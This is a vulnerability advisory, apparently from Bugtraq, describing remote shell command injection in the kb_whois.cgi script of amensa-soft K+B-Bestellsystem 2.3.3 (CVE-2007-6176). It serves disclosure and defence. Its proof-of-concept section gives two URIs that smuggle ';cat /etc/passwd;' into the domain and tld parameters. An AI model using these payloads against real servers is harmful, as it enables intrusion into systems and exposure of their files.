amensa-soft K+B-Bestellsystem KB_Whois.CGI Multiple Remote Shell Command Execution Vulnerabilities

Bugtraq ID:	26541
Class:	Input Validation Error
CVE:	CVE-2007-6176
Remote:	Yes
Local:	No
Published:	Nov 22 2007 12:00AM
Updated:	Dec 18 2007 08:06PM
Credit:	Zero X is credited with discovering this issue.
Vulnerable:	amensa-soft K+B-Bestellsystem 2.3.3
Not Vulnerable:

amensa-soft K+B-Bestellsystem KB_Whois.CGI Multiple Remote Shell Command Execution Vulnerabilities

K+B-Bestellsystem is prone to multiple vulnerabilities that allow attackers to execute arbitrary shell commands. These issues occur because the application fails to sanitize user-supplied input.

An attacker can exploit these issues to execute arbitrary shell commands on an affected computer.

amensa-soft K+B-Bestellsystem KB_Whois.CGI Multiple Remote Shell Command Execution Vulnerabilities

An attacker can use a browser to exploit this issue.

The following proof-of-concept URIs are available:

http://targethost.com/kb-bestellsystem/kb_whois.cgi?action=check_owner&domain=;cat%20/etc/passwd;&tld=.com&tarrif=
http://targethost.com/kb-bestellsystem/kb_whois.cgi?action=check_owner&domain=google&tld=.com;cat /etc/passwd;&tarrif=

amensa-soft K+B-Bestellsystem KB_Whois.CGI Multiple Remote Shell Command Execution Vulnerabilities

Solution:
Currently we are not aware of any vendor-supplied patches for this issue. If you feel we are in error or if you are aware of more recent information, please mail us at: [email protected].

amensa-soft K+B-Bestellsystem KB_Whois.CGI Multiple Remote Shell Command Execution Vulnerabilities

References:

• K+B-Bestellsystem Homepage (amensa-soft)
  
• Remote Shell Command Execution in 'KB-Bestellsystem' (amensa-soft.de) ([email protected])